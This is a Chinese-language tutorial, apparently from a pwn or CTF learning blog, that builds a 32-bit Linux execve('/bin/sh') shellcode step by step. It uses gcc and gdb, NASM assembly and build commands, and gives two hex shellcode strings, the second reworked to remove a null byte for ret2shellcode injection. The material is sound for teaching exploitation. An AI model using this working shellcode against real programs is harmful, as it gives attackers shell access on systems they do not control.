最简单的shellcode
execve("/bin/sh",0,0);
通过简单的汇编将这句shellcode描写出来
eax = 0xb
ebx = "/bin/sh"
ecx = 0
edx = 0
int 0x80
section .text
global _start
_start:
xor eax,eax ;eax=0
push 0x0068732f ;/sh\x00
push 0x6e69622f ;/bin
mov ebx,esp ;这里是将/bin/sh的地址传给ebx
xor ecx,ecx ;ecx=0
xor edx,edx ;edx=0
mov al,0xb ;eax=0xb 0xb是execve的系统调用号
int 0x80 ;执行系统调用,64位的话这里用systemcall
通过指令将汇编转化成可执行的二进制文件
$ nasm -f elf shell.asm
$ ld -m elf_i386 -o shell shell.o
$ ./shell
shellcode是如何获取的
我们先通过c程序写一个获取shell的代码
#include<stdio.h>
#include<unistd.h>
void main(){
execve("/bin/sh",0,0);
}
编译后成功获取shell
首先将c程序转化成我们想要的汇编代码
gcc -S -masm=intel shell.c -o shell.s -m32
这是动态链接的 大体意识是
push 0
push 0
push *"/bin/sh\x00"
call execve
这里有一个问题,如果我们像这样子去构造shellcode我们需要知道execve的调用地址;
当然,我们可以直接来看一下execve调用这些参数干了啥
gdb动态调试一下
这时候我们可以看到execve的三个参数已经入站,准备调用execve函数,我们按s进入函数内部看一下
我们看到他将
三个参数"/bin/sh",0,0分别传给ebx,ecx,edx,然后将0xb传给eax,
最终的到的结果是
eax=0xb
ebx="/bin/sh"
ecx=0
edx=0
我们看到后面还有个函数调用,我们进到里面看一下
这里调用了int 0x80(其他的push pop没啥用,维持栈平衡的)
int 0x80
这里引用知乎上的文章解释int 0x80
https://zhuanlan.zhihu.com/p/358731121
操作系统提供了中断指令int 0x80来主动进入内核,这是用户程序发起的调用访问内核代码的唯一方式
- 用户程序中包含一段包含int指令的代码,通常是由库函数通过内联汇编插入
- 操作系统写中断处理,获取想调程序的编号
- 操作系统根据编号执行相应的代码
调用系统函数时会通过内联汇编代码插入int 0x80的中断指令,(不仅会插入中断指令,还会将系统调用编号设置给 %eax 寄存器)
简单的概括就是
int 0x80就是中断指令,执行eax内存储的系统调用号
shellcode中eax=0xb,也就是说execve的系统调用号是0xb
总结以上分析得到的shellcode
eax = 0xb
ebx = /bin/sh
ecx = 0
edx = 0
int 0x80
通过汇编将以上结论描述出来
section .text
global _start
_start:
xor eax,eax ;eax=0
push 0x0068732f ;/sh\x00
push 0x6e69622f ;/bin
mov ebx,esp ;这里是将/bin/sh的地址传给ebx
xor ecx,ecx ;ecx=0
xor edx,edx ;edx=0
mov al,0xb ;eax=0xb 0xb是execve的系统调用号
int 0x80 ;执行系统调用,64位的话这里用systemcall
中间这一块机械指令就是我们要的shellcode
shellcode="\x31\xc0\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
这里拿ret2shellcode为例,尝试我们编写的shellcode是否成功
这个shellcode执行失败,里面存在\x00
修改一下,将/bin/sh\x00修改成 /bin//sh
section .text
global _start
_start:
xor eax,eax ;eax=0
push eax ;将\x00 入栈作为截断
push 0x68732f2f ;//sh
push 0x6e69622f ;/bin
mov ebx,esp ;这里是将/bin/sh的地址传给ebx
xor ecx,ecx ;ecx=0
xor edx,edx ;edx=0
mov al,0xb ;eax=0xb 0xb是execve的系统调用号
int 0x80 ;执行系统调用,64位的话这里用systemcall
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"